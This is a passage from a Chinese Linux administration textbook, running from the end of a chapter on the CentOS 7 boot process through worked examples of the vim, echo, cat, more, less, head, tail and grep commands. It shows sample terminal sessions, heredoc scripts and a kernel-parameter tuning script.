1）执行initrd.target（/usr/lib/systemd/system/initrd.target）
 
包含挂载/etc/fstab文件中的文件系统。
 
2）systemd执行默认的target配置。
 
CentOS7已经淡化了CentOS6的运行级别概念，但是为了兼容6以前的用户习惯，仍然以运行级别文件来进行标记，并且每个运行级别文件都有相应的软连接指向，默认的启动文件是/etc/systemd/system/default.target，根据它的指向可以找到系统要进入哪个模式。
 
早期的7种运行级别对应于5个启动模式：
 


runlevel0.target -> poweroff.target

runlevel1.target -> rescue.target

runlevel2.target -> multi-user.target

runlevel3.target -> multi-user.target

runlevel4.target -> multi-user.target

runlevel5.target -> graphical.target

runlevel6.target -> reboot.target




 
3）systemd执行sysinit.target，初始化系统及加载basic.target准备启动系统。
 
4）systemd启动multi-user.target（生产工作模式）下的服务程序，即开机自启动的程序，程序目录为/etc/systemd/system和/usr/lib/systemd/system。
 
5）systemd执行multi-user.target下的/etc/rc.d/rc.local内容。
 
6）systemd执行multi-user.target下的getty.target及登录服务。
 
7）systemd执行graphical所需要的服务（如果安装了图形桌面功能）。
 
整个启动过程中的简图如图6-17所示。
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图6-17　CentOS7启动过程简图
6.7　本章重点
 
1）表6-2中根下的目录结构知识。
 
2）本章介绍的/etc、/var/、/usr等目录下的文件功能和作用。
 
3）CentOS6和CentOS7的启动流程。
第7章　Linux文件过滤及内容编辑处理
 
在第5章，我们讲解了Linux系统文件及目录处理的基本命令知识和应用实践，本章继续为大家讲解处理Linux系统文件内容的一些核心命令，这些命令同样十分重要。
7.1　vi/vim：纯文本编辑器
 
Windows下最基本的文本编辑器就是记事本，当然，还有一些功能强大的文本编辑器，例如notepad++、emeditor等，如果与Linux系统相比较，那么你会发现Windows下的记事本对应的就是Linux里的vi命令，而notepad++、emeditor这样的编辑器对应则是vim命令，因此，掌握vi/vim命令是学好Linux的重要的必修课之一，因为这两个命令是管理Linux必不可少的工具。
 
7.1.1　命令详解
 
【命令星级】　　★★★★★
 
【功能说明】
 
vi是Linux命令行界面下的重要文字编辑器。vim是vi命令的增强版，例如，高亮显示代码、自动缩进等。vim与vi编辑器是兼容的，建议读者多用vim编辑器替代vi编辑器。
 
【用法格式】
 


vim  [option]  [file]

vim  [选项]    [文件]  




 
【vim的三种模式】
 
vim分为三种模式：普通模式、编辑模式、命令模式，其作用分别如下。
 
（1）普通模式
 
用vim命令打开一个文件后，默认的状态就是普通模式。在这个模式中，不能进行编辑输入操作，但可以按“上下左右”键来移动光标，同时还可以执行一些操作命令进行如删除、复制、粘贴等工作。
 
（2）编辑模式
 
在普通模式下不能进行编辑输入操作，只有按下“i，I，o，O，a，A，r，R，s，S”（其中“i”最为常用）等字母进入编辑模式后才可以执行录入文字等编辑操作。确定文件是否处于编辑模式状态有一个重要的特征，那就是在窗口的左下角要有插入的标记“--INSERT--”或“--插入--”，如图7-1所示。
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图7-1　vim编辑模式
 
（3）命令模式
 
在普通模式下，输入“：”或“/”或“？”时，光标会自动定位在那一行，在这个模式中，可以执行保存、退出、搜索、替换、显示行号等相关操作。
 
图7-2所示的是vim的三种模式转换示意图。
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图7-2　vim的三种模式转换示意图
 
【选项说明】
 
表7-1针对vi/vim命令的参数选项进行了说明。
 
表7-1　vi/vim命令的参数选项及说明
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7.1.2　使用范例
 
范例7-1：进入普通模式。
 


[root@oldboy ~]# vim oldboy_new.txt




 
输入“vim文件名”即可直接进入vim窗口。如图7-3所示，左下角会显示这个文件的当前状态。如果是新文件，则会显示[New File]，如"oldboy_new.txt"[New File]。
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图7-3　vim编辑新文件窗口底部
 
如果是已存在的文件，则会显示当前文件名、行数、字符数等，如图7-4所示。
 


[root@oldboy ~]# vim /etc/services
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图7-4　vim编辑已有文件窗口底部
 
范例7-2：进入编辑模式。
 
在普通模式下，按下i键就可以进入编辑模式，此时可输入任意文本内容。当然还有很多字母也可以实现同样的功能，如“I，o，O，a，A，r，R，s，S”，从图7-5中可以看到，其左下角有个“--INSERT--”，表示可以编辑内容了。
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图7-5　vim编辑模式窗口
 
范例7-3：按[Esc]键切回到普通模式。
 
编辑完内容后，可按[Esc]键退出编辑模式，进入普通模式，此时，细心的读者可以从图7-6中注意到窗口左下角的“--INSERT--”消失了。
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图7-6　vim从编辑模式返回普通模式窗口
 
范例7-4：使用命令模式保存文件内容，退出vim编辑器。
 
切回到普通模式后，此时就可以使用命令模式保存文件内容了，如图7-7所示，输入“：wq”（保存退出）或“：wq！”（强制保存退出）后敲下回车键即可保存退出。
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图7-7　vim命令模式保存文件窗口底部
 
7.1.3　通过vim命令打开文件的方法小结
 
以下列举几种通过vim命令打开文件的方法。
 
·vim file：打开/新建文件，光标置于第1行行首，file为任意文件名。

·vim file+n：打开文件，光标置于第n行行首，n为自然数。

·vim file+：打开文件，光标置于最后1行行首。

·vim file+/pattern：将光标置于与pattern匹配的第一个字符串处，pattern为任意字符串。
 
有关vi/vim的命令深入知识（含vim配置及编程开发配置）讲解，可以参考《跟老男孩学Linux运维：Shell编程实战》一书的第16章。
7.2　echo：显示输出文本内容
 
7.2.1　命令详解
 
【命令星级】　　★★★★★
 
【功能说明】
 
echo命令能将指定文本显示在Linux命令行上，或者通过重定向符写入到指定的文件中。
 
【语法格式】
 


echo  [option]  [string]

echo  [选项]    [文本] 




 
【选项说明】
 
表7-2针对echo命令的参数选项进行了说明。
 
表7-2　echo命令的参数选项及说明

 
 [image: ]

 
7.2.2　使用范例
 
范例7-5：打印文本到屏幕输出。
 


[root@oldboy ~]# echo Hello world      #<==echo直接接想输出的文本。

Hello world

[root@oldboy ~]# echo 'Hello world'    #<==可以使用单引号将内容括起来。

Hello world

[root@oldboy ~]# echo "Hello world"    #<==也可以使用双引号。

Hello world

[root@oldboy ~]# echo -e "hello\tworld" #<==使用选项-e可以识别\t（一个tab）等特殊字符。

hello   world




 
范例7-6：将单行文本追加到某个文件中。
 


[root@oldboy ~]# echo "hello world" >>hello.txt  #<==使用追加重定向符号>>将文本

                                                      写入文件。

[root@oldboy ~]# cat hello.txt

hello world




 
范例7-7：使用-n参数的示例。
 


[root@oldboy ~]# echo "oldboy";echo "oldboy"      #<==分号可以连接2个命令。

oldboy                                            #<==命令执行结果分成了两行输出。

oldboy

[root@oldboy ~]# echo -n "oldboy";echo "oldboy"   #<==使用-n选项就可以不换行，

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　输出成一行。

oldboyoldboy




 
范例7-8：打印彩色输出。
 
命令如下：
 


echo -e "\033[30m 黑色字oldboy trainning \033[0m"

echo -e "\033[31m 红色字oldboy trainning \033[0m"

echo -e "\033[32m 绿色字oldboy trainning \033[0m"

echo -e "\033[33m 黄色字oldboy trainning \033[0m"

echo -e "\033[34m 蓝色字oldboy trainning \033[0m"

echo -e "\033[35m 紫色字oldboy trainning \033[0m"

echo -e "\033[36m 天蓝字oldboy trainning \033[0m"

echo -e "\033[37m 白色字oldboy trainning \033[0m"




 
[image: ]提示：上文加粗的递增数字表示字体颜色范围。
 
图7-8为打印效果图。
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图7-8　打印彩色输出效果图
 
假设要打印的背景色的数字范围为40-47，命令如下：
 


echo -e "\033[40;37m 黑底白字 welcome to old1boy\033[0m"

echo -e "\033[41;37m 红底白字 welcome to old2boy\033[0m"

echo -e "\033[42;37m 绿底白字 welcome to old3boy\033[0m"

echo -e "\033[43;37m 黄底白字 welcome to old4boy\033[0m"

echo -e "\033[44;37m 蓝底白字 welcome to old5boy\033[0m"

echo -e "\033[45;37m 紫底白字 welcome to old6boy\033[0m"

echo -e "\033[46;37m 天蓝白字 welcome to old7boy\033[0m"

echo -e "\033[47;30m 白底黑字 welcome to old8boy\033[0m"




 
[image: ]提示：上文加粗的递增数字表示背景颜色范围。
 
图7-9为打印的效果图。
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图7-9　打印彩色背景色效果图
 
有关字体颜色内容，在《跟老男孩学Linux运维：Shell编程实战》一书的第9章有详细介绍。
 
范例7-9：打印变量内容。
 


[root@oldboy ~]# echo $PATH  #<==echo打印环境变量，在环境变量名前面使用“$”符号。

/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin

[root@oldboy ~]# test=12345  

[root@oldboy ~]# echo $test

12345




 
[image: ]提示：与echo类似的命令还有printf，这是一个功能更强的输出命令，具体请见后文。
7.3　cat：合并文件或查看文件内容
 
7.3.1　命令详解
 
【命令星级】　　★★★★★
 
【功能说明】
 
cat命令可以理解为英文单词concatenate的缩写，其功能是连接多个文件并且打印到屏幕输出，或者重定向到指定文件中。此命令常用于显示单个文件内容，或者将几个文件内容连接起来一起显示，还可以从标准输入中读取内容并显示，生产环境中，它常与重定向或追加符号配合使用。
 
cat命令的记忆方法：cat的中文意思是猫，可理解为“瞄”一下文件内容，那就是显示文件内容了。根据老男孩的运维经验，cat具备5大常用功能，具体请见表7-3。
 
表7-3　cat命令常用功能
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【语法格式】
 


cat  [option]  [file]

cat  [选项]    [文件]




 
[image: ]说明：在cat命令及后面的选项和文件里，每个元素之间都至少要有一个空格。
 
【选项说明】
 
表7-4针对cat命令的参数选项进行了说明。
 
表7-4　cat命令的参数选项及说明
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7.3.2　使用示例
 
1.基础范例
 
范例7-10：执行cat的完整命令生成test.txt文件内容。
 
方法1：
 


cat >test.txt<<EOF

welcome to my blog.http://oldboy.blog.51cto.com



if you like my blog\'s contents,pls support me







bye! boys and girls

EOF  #<==这里要敲回车才能结束，另外，EOF必须成对出现，但也可以用别的成对标签进行替换。例如，

          oldboy字符标签，默认情况下结尾的EOF必须要顶格写。




 
方法2：
 


cat >test.txt<<-EOF  #<==如果cat后面使用了“>>-”符号，则结尾的EOF可以不用顶格，但

                                                       要用tab键缩进。



welcome to my blog.http://oldboy.blog.51cto.com



if you like my blog\'s contents,pls support me







bye! boys and girls

    EOF




 
以上就是cat命令在生产环境中常用的非交互式编辑文件的方法，请不要忽略上文中的空行，那是下文测试选项时需要用到的。另外，如果内容中包含$符号时要用“\”符号进行转义。
 
以上命令的执行过程及结果如下：
 


[root@oldboy ~]# cat >test.txt<<EOF

> welcome to my blog.http://oldboy.blog.51cto.com

> 

> if you like my blog's contents,pls support me

> 

> 

> 

> bye! boys and girls

> EOF   

[root@oldboy ~]# cat test.txt 

welcome to my blog.http://oldboy.blog.51cto.com

#<==此行是空行。

if you like my blog's contents,pls support me

#<==此行是空行。

#<==此行是空行。

#<==此行是空行。

bye! boys and girls.




 
范例7-11：直接执行cat命令查看文件内容，不带任何选项。
 


[root@oldboy ~]# cat test.txt 

welcome to my blog.http://oldboy.blog.51cto.com



if you like my blog's contents,pls support me。







bye! boys and girls.




 
这就是最简单最基本的查看文件内容的使用方法了。
 
范例7-12：执行cat命令，分别带-n及-b选项，并对比两者的区别。
 


[root@oldboy ~]# cat -n test.txt 

    1  welcome to my blog.http://oldboy.blog.51cto.com

    2

    3  if you like my blog's contents,pls support me。

    4

    5

    6

    7  bye! boys and girls.

#<==说明：从上面的例子中可以看出，“-n”选项就是按行为文件内容编号并打印输出，包括空行。

[root@oldboy ~]# cat -b test.txt   

    1  welcome to my blog.http://oldboy.blog.51cto.com



    2  if you like my blog's contents,pls support me。







    3  bye! boys and girls.

#<==说明：从上面的例子可以看出，-b选项与-n选项类似，但是，-b选项并不为空行编号。




 
范例7-13：执行cat命令，带-E选项。
 


[root@oldboy ~]# cat -E test.txt  

welcome to my blog.http://oldboy.blog.51cto.com$

$

if you like my blog's contents,pls support me。$

$

$

$

bye! boys and girls.$




 
从上面的例子可以看出，-E选项就是将文件结尾的隐藏结束标识符$符显示出来。即使是空行，结尾也是有结束标识符的，这一点大家需要注意。
 
再来个小例子：
 


[root@oldboy ~]# echo >test1.txt

[root@oldboy ~]# cat -E test1.txt 

$

[root@oldboy ~]# ls -l test1.txt 

-rw-r--r-- 1 root root 1 05-30 21:35 test1.txt




 
这个小例子更好地说明了即使是以空行结尾也是有标识符$的。因此，在计算文件占用空间时，要注意这点。
 
-A（-vET）、-e（-vE）这两个选项都包含-E选项，因此，有与-E类似的功能，但-v、-T这两个选项在工作中使用得不多，了解一下即可。
 
范例7-14：执行cat命令，带-s选项。
 


[root@oldboy ~]# cat -s test.txt 

welcome to my blog.http://oldboy.blog.51cto.com



if you like my blog's contents,pls support me。

#<==此处原来是3行空行，现在，由于-s选项的原因，变成一个空行了。

bye! boys and girls.




 
从上面的例子可以看出，-s选项就是将两个以上的空行变成一个空行，如果文件中连续的空行很多，那么这个选项可以让文件显示更加精炼易读。
 
但是在实际生产工作中，我们还是习惯使用grep-v"^$"test.txt过滤掉所有的空行（一个空行都不留），从而让显示更紧凑一些，示例代码如下。有关grep的讲解，详见后文。
 


[root@oldboy ~]# grep -v "^$" test.txt  #<==“^$”是正则表达式字符组合，表示空行。

welcome to my blog.http://oldboy.blog.51cto.com

if you like my blog's contents,pls support me。

bye! boys and girls.




 
范例7-15：执行cat命令编辑新文件。
 


[root@oldboy ~]# cat >test3.txt

hi,here is linux os.

[root@oldboy ~]# cat test3.txt 

hi,here is linux os.




 
从上面的例子可以看出，这里是利用cat和“>”重定向将标准输出定向到文件，这是一种特殊的编辑文件的方法。
 
这里有几个问题需要注意一下，具体如下。
 
1）结束编辑可以用快捷键Ctrl+d或Ctrl+c退出，但是必须要先执行回车操作，将光标定位到新的未输入的行才行。
 
2）利用此种方式输入时，会发现如果输入错了，只按退格键（Backspace）将无法删除，需要按住“Ctrl+退格键”才能删除。
 
3）此操作是一种特殊编辑方法，此处仅作为扩展知识点提及，生产环境中使用得很少。
 
范例7-16：执行cat命令连接并显示多个文件。
 


[root@oldboy ~]# cat test.txt test3.txt  

welcome to my blog.http://oldboy.blog.51cto.com



if you like my blog's contents,pls support me。







bye! boys and girls.  #<==此行以上是test.txt。

hi,here is linux os.  #<==这是test3.txt的内容。




 
[image: ]提示：这样两个文件会一起显示，但还是会有先后顺序之分的，前面的test.txt的内容会优先显示。
 
2.生产案例
 
[image: ]说明：后面的生产案例会涉及Shell编程相关知识，如果没有Shell编程功底，则只需关注cat命令的用法即可。如果对Shell编程感兴趣，则可以参考老男孩的《跟老男孩学Linux运维：Shell编程实战》一书。
 
范例7-17：利用cat实现一键优化Linux系统脚本。
 
这是使用cat命令实现非交互式地在文件结尾增加内容的功能。下面的优化脚本是批量修改配置文件的方法，是生产环境中经常用到的用法，要熟练掌握才好。
 
下面以一键优化脚本中的一部分Linux服务器内核选项优化为例来说明cat的功能。
 
[image: ]说明：本优化适合Apache、Nginx、Squid等多种Web相关应用，特殊的业务可能需要略做调整。
 
所谓内核优化，主要是在Linux系统中针对业务服务应用而进行的系统内核选项优化，优化并无特殊的标准，下面以常见的生产环境中Linux的内核优化为例进行讲解，仅供大家参考。示例代码如下：
 


[root@oldboy ~]# cat opt_sysctl.sh 

#!/bin/bash



/bin/cp /etc/sysctl.conf /etc/sysctl.conf.`date +%F_%T`  #<==备份sysctl.conf。



cat>>/etc/sysctl.conf<<EOF          #<==修改sysctl.conf。

#added by oldboy at 2007 start

net.ipv4.tcp_fin_timeout = 2

net.ipv4.tcp_tw_reuse = 1

net.ipv4.tcp_tw_recycle = 1

net.ipv4.tcp_syncookies = 1

net.ipv4.tcp_keepalive_time = 600

net.ipv4.ip_local_port_range = 4000    65000

net.ipv4.tcp_max_syn_backlog = 16384

net.ipv4.tcp_max_tw_buckets = 36000

net.ipv4.route.gc_timeout = 100

net.ipv4.tcp_syn_retries = 1

net.ipv4.tcp_synack_retries = 1

net.core.somaxconn = 16384

net.core.netdev_max_backlog = 16384

net.ipv4.tcp_max_orphans = 16384

#end 

EOF

sysctl -p  &>/dev/null                #<==加载sysctl.conf。




 
以上是脚本内容，下面是执行情况：
 


[root@oldboy ~]# sh opt_sysctl.sh 

[root@oldboy ~]# tail -16 /etc/sysctl.conf

#added by oldboy at 2007 start

net.ipv4.tcp_fin_timeout = 2

net.ipv4.tcp_tw_reuse = 1

net.ipv4.tcp_tw_recycle = 1

net.ipv4.tcp_syncookies = 1

net.ipv4.tcp_keepalive_time = 600

net.ipv4.ip_local_port_range = 4000    65000

net.ipv4.tcp_max_syn_backlog = 16384

net.ipv4.tcp_max_tw_buckets = 36000

net.ipv4.route.gc_timeout = 100

net.ipv4.tcp_syn_retries = 1

net.ipv4.tcp_synack_retries = 1

net.core.somaxconn = 16384

net.core.netdev_max_backlog = 16384

net.ipv4.tcp_max_orphans = 16384

#end




 
[image: ]注意：EOF可以使用任意成对字符串来代替，通常习惯使用EOF。
 
范例7-18：利用cat在脚本中显示帮助菜单。
 


[root@oldboy ~]# cat exportfs_usage.sh 

#!/bin/bash



exportfs_usage()

{

        cat <<END

        USAGE: $0 {start|stop|monitor|status|validate-all}

END

}

exportfs_usage




 
执行上述脚本后的效果：
 


[root@oldboy ~]# sh exportfs_usage.sh  

    USAGE: exportfs_usage.sh {start|stop|monitor|status|validate-all}




 
这里的cat命令可以用echo命令来代替，对于单行的内容显示和追加内容，使用echo命令是非常合适的，cat的优势是针对多行文本内容进行编辑，或者在已有内容的结尾追加新内容。
 
范例7-19：利用cat在脚本中显示内容选择菜单。
 


[root@oldboy ~]# cat menu.sh 

#!/bin/bash



menu(){

        cat <<END

        1.[apple]

        2.[pear]

        3.[banana]

        4.[cherry]

        5.[orange]

        please select one that you like:

END

}

menu




 
执行上述脚本后的效果如下：
 


[root@oldboy ~]# sh menu.sh 

        1.[apple]

        2.[pear]

        3.[banana]

        4.[cherry]

        5.[orange]

        please select one that you like:




 
为了实现自动化运维，有时高级运维人员不得不通过脚本将操作写好，然后让组内的初级运维或非运维的同事，通过傻瓜式的菜单选择，来完成相应的工作，进而提升工作效率。
 
上面的脚本，从美感的角度来看，还是有些缺陷。比如：
 


[root@oldboy ~]# cat menu.sh 

#!/bin/bash



menu(){

        cat <<END

        1.[apple]

        2.[pear]

        3.[banana]

        4.[cherry]

        5.[orange]

        please select one that you like:

END    #<==此处顶格写，没有保持队形。但是直接保持队形，脚本执行又会报错。

}

menu




 
报错如下：
 


[root@oldboy ~]# sh menu.sh 

menu.sh: line 15: warning: here-document at line 4 delimited by end-of-file (wanted `END')

menu.sh: line 16: syntax error: unexpected end of file




 
改进后的脚本如下：
 


[root@oldboy ~]# cat menu.sh 

#!/bin/bash



menu(){

        cat <<-END  #<==此处END前加了一个减号。

        1.[apple]

        2.[pear]

        3.[banana]

        4.[cherry]

        5.[orange]

        please select one that you like:

    END  #<==因为前面使用了“-END”，因此此处可以使用Tab键缩进，记住是以Tab键缩进而不是空格！

}



menu




7.4　more：分页显示文件内容
 
7.4.1　命令详解
 
【命令星级】　　★★★★☆
 
【功能说明】
 
more命令的功能类似于cat，但cat命令是将整个文件的内容一次性地显示在屏幕上，而more则会一页一页地显示文件内容。但more的功能还是比较简单的，其有一个增强版的命令是less，将在7.5节详细讲解。
 
【语法格式】
 


more  [option]  [file]

more  [选项]    [文件] 




 
[image: ]说明：在more命令及后面的选项和文件里，每个元素之间都至少要有一个空格。
 
【选项说明】
 
表7-5针对more命令的参数选项进行了说明。
 
表7-5　more命令的参数选项及说明

 
 [image: ]

 
在交互模式下，使用more命令打开文本后，会进入一个基于vi的交互界面，在这里可以使用部分vi编辑器的功能，如搜索功能，还可以切换到vi编辑器。表7-6给出了more命令的交互式子命令。
 
表7-6　more命令的交互式子命令及说明

 
 [image: ]

 
7.4.2　使用范例
 
1.基础范例
 
范例7-20：执行more命令，后面不接任何参数。
 


[root@oldboy ~]# more /etc/services  #<==若不接任何参数，则会满屏显示文件内容。

# /etc/services:

# $Id: services,v 1.48 2009/11/11 14:32:31 ovasik Exp $

#

# Network services, Internet style

# IANA services version: last updated 2009-11-10

#

...省略若干...

#

# Each line describes one service, and is of the form:

#

# service-name  port/protocol  [aliases ...]  [# comment]



tcpmux          1/tcp                          # TCP port service multiplexer

--More--(0%) #<==还有已经显示内容的百分比。




 
读者可以在上面的交互界面测试一下常用的交互命令，比如按空格键往下翻一屏，按“b”往上翻一屏，若想要查找“3306”，则先输入一个“/”，然后输入“3306”敲回车即可找到。
 
范例7-21：查看前n行。
 


[root@oldboy ~]# more -5 /etc/services  #<==此时并不是满屏显示文件内容，只会显示5行内容。

# /etc/services:

# $Id: services,v 1.48 2009/11/11 14:32:31 ovasik Exp $

#

# Network services, Internet style

# IANA services version: last updated 2009-11-10

--More--(0%)  




 
范例7-22：从指定的行数开始显示内容。
 


[root@oldboy ~]# more +888 /etc/services  #<==此时直接从第888行显示文件内容。

cableport-ax    282/tcp                   # Cable Port A/X

cableport-ax    282/udp                   # Cable Port A/X

rescap          283/tcp                   # rescap

rescap          283/udp                   # rescap

corerjd         284/tcp                   # corerjd

corerjd         284/udp                   # corerjd

fxp             286/tcp                   # FXP Communication

fxp             286/udp                   # FXP Communication

k-block         287/tcp                   # K-BLOCK

………… 

--More--(7%)




7.5　less：分页显示文件内容
 
7.5.1　命令详解
 
【命令星级】　　★★★★★
 
【功能说明】
 
如果使用man less查看less的帮助文档，则会发现官方的解释是less为more的反义词（opposite of more）。但less命令的名称只是一个文字游戏，它是more命令的高级版本（less这个名称来自俗语“越简单就越丰富”，即less is more）。
 
less命令的基本功能类似于more命令，可以分页显示文件内容，但比more的功能更强大。less命令在读取文件内容时，并不是像more、vi命令一样，需要一次性将整个文件加载之后再显示，而是会根据需要来加载文件内容，这样打开文件的速度更快。而且less命令支持[page up]、[page down]等按键的功能，可通过该功能往前或往后翻看文件，这样更容易查看一个文件的内容。
 
【语法格式】
 


less  [option]  [file]

less  [选项]    [文件] 




 
[image: ]说明：在less命令及后面的选项和文件里，每个元素之间都至少要有一个空格。
 
【选项说明】
 
表7-7针对less命令的参数选项进行了说明。
 
表7-7　less命令的参数选项及说明

 
 [image: ]

 
在交互模式下，less命令也是基于more命令和vi命令的，在这里可以使用vi编辑器的部分功能，如搜索功能，还可以切换到vi编辑器。表7-8给出了less命令的交互式子命令。
 
表7-8　less命令的交互式子命令及说明

 
 [image: ]

 

 [image: ]

 
7.5.2　使用范例
 
1.基础范例
 
范例7-23：通过less命令查看文件。
 


[root@oldboy ~]# less /etc/services  #<==若不接任何参数，则会满屏显示文件内容。

# /etc/services:

# $Id: services,v 1.48 2009/11/11 14:32:31 ovasik Exp $

#

# /etc/services:

# $Id: services,v 1.48 2009/11/11 14:32:31 ovasik Exp $

#

# Network services, Internet style

# IANA services version: last updated 2009-11-10

#

# Note that it is presently the policy of IANA to assign a single well-known

# port number for both TCP and UDP; hence, most entries here have two entries

…………




 
范例7-24：显示行号的示例。
 


[root@oldboy ~]# less -N /etc/services  #<==每一行前面都有行号了。

      1 # /etc/services:

      2 # $Id: services,v 1.48 2009/11/11 14:32:31 ovasik Exp $

      3 #

      4 # Network services, Internet style

      5 # IANA services version: last updated 2009-11-10

…………

  10772 com-bardac-dw   48556/udp               # com-bardac-dw

  10773 iqobject        48619/tcp               # iqobject

  10774 iqobject        48619/udp               # iqobject

(END)




 
2.技巧性范例
 
范例7-25：分页显示命令结果的示例。
 


[root@oldboy ~]# ls /etc/|less  #<==分页查看etc目录文件内容。

abrt

acpi

adjtime

aliases

aliases.db

alsa

alternatives

anacrontab

asound.conf

at.deny

audisp

audit

bash_completion.d

bashrc

:




7.6　head：显示文件头部内容
 
7.6.1　命令详解
 
【命令星级】　　★★★★★
 
【功能说明】
 
head命令用于显示文件头部的内容，执行head命令默认会输出文件的开头10行内容。
 
【语法格式】
 


head  [option]  [file]

head  [选项]    [文件] 




 
【选项说明】
 
表7-9针对head命令的参数选项进行了说明。
 
表7-9　head命令的参数选项及说明

 
 [image: ]

 
7.6.2　使用范例
 
范例7-26：显示文件的前10行。
 


[root@oldboy ~]# head /etc/passwd  #<==head命令不接任何参数默认显示文件的前10行。

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin




 
范例7-27：显示文件的前5行。
 


[root@oldboy ~]# head -n 5 /etc/passwd #<==第一种格式指定显示前5行。

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

[root@oldboy ~]# head -5 /etc/passwd   #<==第二种格式也是指定显示前5行，但是这种写

　　　　　　　　　　　　　　　　　　　　　　　　　　法更精简。

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin




 
范例7-28：显示文件的前n个字节。
 


[root@oldboy ~]# head -c 10 /etc/passwd  #<==读取文件的前10个字节。前面的写法是以

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 行为单位的，而-c则是以字节为单位的。

　　　　　　　　　　　　　　　　　　　　　  　　　　　该功能不常用。

root:x:0:0




 
范例7-29：打印文件除最后21行之外的内容。
 


[root@oldboy ~]# head -n -21 /etc/passwd  #<==最后21行不输出，这种写法也不常用。

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin




7.7　tail：显示文件内容尾部
 
7.7.1　命令详解
 
【命令星级】　　★★★★★
 
【功能说明】
 
tail命令用于显示文件尾部的内容，tail命令默认输出文件的最后10行。
 
【语法格式】
 


tail  [option]  [file]

tail  [选项]    [文件] 




 
【选项说明】
 
表7-10针对tail命令的参数选项进行了说明。
 
表7-10　tail命令的参数选项及说明

 
 [image: ]

 
7.7.2　使用范例
 
范例7-30：显示文件最后10行的示例。
 


[root@oldboy ~]# tail /etc/passwd  #<==tail命令不接参数，默认显示最后10行。

nobody:x:99:99:Nobody:/:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin

abrt:x:173:173::/etc/abrt:/sbin/nologin

haldaemon:x:68:68:HAL daemon:/:/sbin/nologin

ntp:x:38:38::/etc/ntp:/sbin/nologin

saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin

postfix:x:89:89::/var/spool/postfix:/sbin/nologin

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

tcpdump:x:72:72::/:/sbin/nologin




 
范例7-31：使用tail命令显示文件末尾5行的内容。
 


[root@oldboy ~]# tail -n 5 /etc/passwd   #<==第一种写法。

ntp:x:38:38::/etc/ntp:/sbin/nologin

saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin

postfix:x:89:89::/var/spool/postfix:/sbin/nologin

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

tcpdump:x:72:72::/:/sbin/nologin

[root@oldboy ~]# tail -5 /etc/passwd     #<==第二种写法，这种写法简单。

ntp:x:38:38::/etc/ntp:/sbin/nologin

saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin

postfix:x:89:89::/var/spool/postfix:/sbin/nologin

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

tcpdump:x:72:72::/:/sbin/nologin




 
范例7-32：通过tail命令从第15行开始显示文件。
 


[root@oldboy ~]# tail -n +15 /etc/passwd   #<==拓展的用法，但不常用。

nobody:x:99:99:Nobody:/:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin

abrt:x:173:173::/etc/abrt:/sbin/nologin

...省略若干行...




 
范例7-33：通过tail命令实时监控文件的变化。
 


[root@oldboy ~]# tail -f /application/nginx/logs/access.log  #<==tail -f实时监控文件的变化，在生产中常用的场景是监控日志文件。

192.168.0.3 - - [23/May/2015:22:21:11 +0800] "GET /status/status.html HTTP/1.1" 304 0 "http://192.168.0.3/status/status.html" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36"

...省略若干行...




7.8　grep：文本过滤工具
 
7.8.1　命令详解
 
【命令星级】　　★★★★★
 
【功能说明】
 
grep命令是Linux系统中最重要的命令之一，其功能是从文本文件或管道数据流中筛选匹配的行及数据，如果配合正则表达式技术一起使用，则功能会更加强大，它是Linux运维人员必须要掌握的命令之一！。
 
grep过滤就相当于是一个筛子，有可能筛子里面的东西是要保留的，也有可能是筛出来的需要保留，grep功能的生活形象图解如图7-10所示。
 
 
 [image: ] 


图7-10　grep对应生活中的形象工具——筛子
 
【语法格式】
 
grep命令里面的匹配模式，都是你要获取的内容，它们既可以是普通的文字符号也可以是正则表达式，其语法格式如图7-11所示。
 
 
 [image: ] 


图7-11　grep命令的语法结构图
 
【选项参数】
 
表7-11是grep命令的常用参数说明。
 
表7-11　grep的常用参数

 
 [image: ]

 
7.8.2　使用范例
 
基础范例
 
范例7-34：请使用grep过滤不包含oldboy字符串的行（-v参数实践）。
 


[root@oldboy oldboy]# cat test1.txt    #<==查看待测试的文件。

test

liyao

oldboy

[root@oldboy oldboy]# grep -v "oldboy" test1.txt  #<==过滤不包含oldboy字符串的

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　行，注意被过滤的字符串，应

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　尽可能使用双引号。

test

liyao




 
[image: ]提示：grep的-v参数的作用是排除，默认是以行为单位排除包含参数后面所接内容的某些行。
 
范例7-35：使用grep命令显示过滤后的内容的行号（-n参数实践）。
 


